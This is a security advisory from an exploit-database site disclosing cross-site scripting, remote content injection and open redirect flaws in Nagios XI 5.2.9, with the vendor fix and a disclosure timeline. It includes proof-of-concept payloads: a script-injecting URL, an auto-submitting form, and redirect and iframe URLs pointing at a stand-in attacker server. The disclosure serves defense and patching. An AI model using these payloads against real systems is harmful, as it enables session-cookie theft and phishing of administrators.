[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Nagios XI 5.2.9 Cross Site Scripting / Open Redirect Vulnerabilities

Author
hyp3rlinx
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-25938
Category
web applications
Date add
20-10-2016
Platform
php
[+] Credits: John Page aka hyp3rlinx


Vendor:
==============
www.nagios.com



Product:
================
Nagios XI v5.2.9

Nagios XI provides network, server, and application monitoring in one easy
to configure package along with advanced alerting
and reporting.



Vulnerability Type:
===================
XSS  / Cookie Theft
Remote Content Injection
Authentication Open Redirect


CVE Reference:
==============
N/A



Vulnerability Details:
=====================

Nagios XI Admin area contains multiple security issues.

[ Cross Site Scripting - XSS ]
==============================
Several XSS vulnerabilities using GET and POST requests that allow Cookie
theft and arbitrary client side code execution in the
security context of the current users browser session.


[ Remote Content Injection ]
============================
The 'xiwindow' URL parameter used to load content into an IFRAME is not
checked allowing remote content to be injected that
could allow phishing attacks.


[ Authentication Open Redirect ]
================================
Nagios Admin login page is insecure in that it allows the user
authenticating to be redirected to an attacker server if
the user authenticates using an attacker supplied link or pop up webpage.


References:
https://assets.nagios.com/downloads/nagiosxi/CHANGES-5.TXT

User should upgrade to the latest version of Nagios XI, 5.3.0


Exploit code(s):
===============

[ Cross Site Scripting - XSS ]
==============================
1)
http://victim-server/nagiosxi/includes/components/ccm/ajax.php?cmd=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E&type=cmd&opt=&token=


2) <form action="
http://victim-server/nagiosxi/includes/components/highcharts/exporting-server/index.php"
method="post">
<input type="hidden" name="type" value="application/pdf">
<input type="hidden" name="svg"
value="</script><script>alert(document.cookie)</script>">
<script>document.forms[0].submit()</script>
</form>


[ Remote Content Injection ]
============================
http://victim-server/nagiosxi/admin/?xiwindow=http://attacker-server



[ Authentication Open Redirect ]
================================
http://victim-server/nagiosxi/login.php?redirect=http://attacker-server



Disclosure Timeline:
===================================
Vendor Notification: July 22, 2016
Vendor Acknowledgement: July 22, 2016
Vendor Fixes Releases New Version 5.3.0
October 20, 2016 : Public Disclosure



Exploitation Technique:
=======================
Remote

#  0day.today [2024-09-28]  #